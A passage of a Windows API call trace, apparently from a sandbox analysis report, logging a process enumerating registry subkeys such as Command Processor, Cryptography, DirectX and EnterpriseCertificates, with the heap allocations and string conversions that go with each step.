dwIndex=0x9, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0254.850] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.851] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0xdcc160, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0254.851] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.851] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0254.851] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0254.851] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0xdcc1a8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0254.851] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.851] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0254.851] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0254.851] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0xdcc160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0254.851] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.851] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0xdcb9b8, cchName=0x104 | out: lpName="CTF") returned 0x0 [0254.851] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.851] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.851] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0xdcc1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0254.851] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.851] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.851] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0xdcc160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.852] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0xdcc1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.852] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0xdcc160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.852] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0xdcc1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0254.852] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.852] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.852] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DFS") returned 0x0 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0xdcc160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.853] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0xdcc1a8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.853] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0xdcc160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.853] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0xdcc1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0254.853] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.853] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.853] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0254.854] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.854] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0xdcc160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0254.854] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.854] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.854] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.854] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.854] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0254.854] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0254.854] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0xdcc1a8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0254.854] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.854] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.854] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.854] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.854] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0254.854] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0254.854] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0xdcc160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0254.854] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.854] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.854] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.854] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.854] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0xdcc1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.855] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0xdcb9b8, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0xdcc160, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.855] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DRM") returned 0x0 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0xdcc1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.855] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DVR") returned 0x0 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0xdcc160, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.855] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.855] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0xdcb9b8, cchName=0x104 | out: lpName="DXP") returned 0x0 [0254.855] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc1a8 [0254.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0xdcc1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc1a8) returned 1 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcc160) returned 1 [0254.856] RtlFreeHeap (HeapHandle=0xdc0000, Flags=0x0, BaseAddress=0xdcbc40) returned 1 [0254.856] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0xdcb9b8, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x80) returned 0xdcbc40 [0254.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0254.856] RtlAllocateHeap (HeapHandle=0xdc0000, Flags=0x8, Size=0x40) returned 0xdcc160 [0254.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", 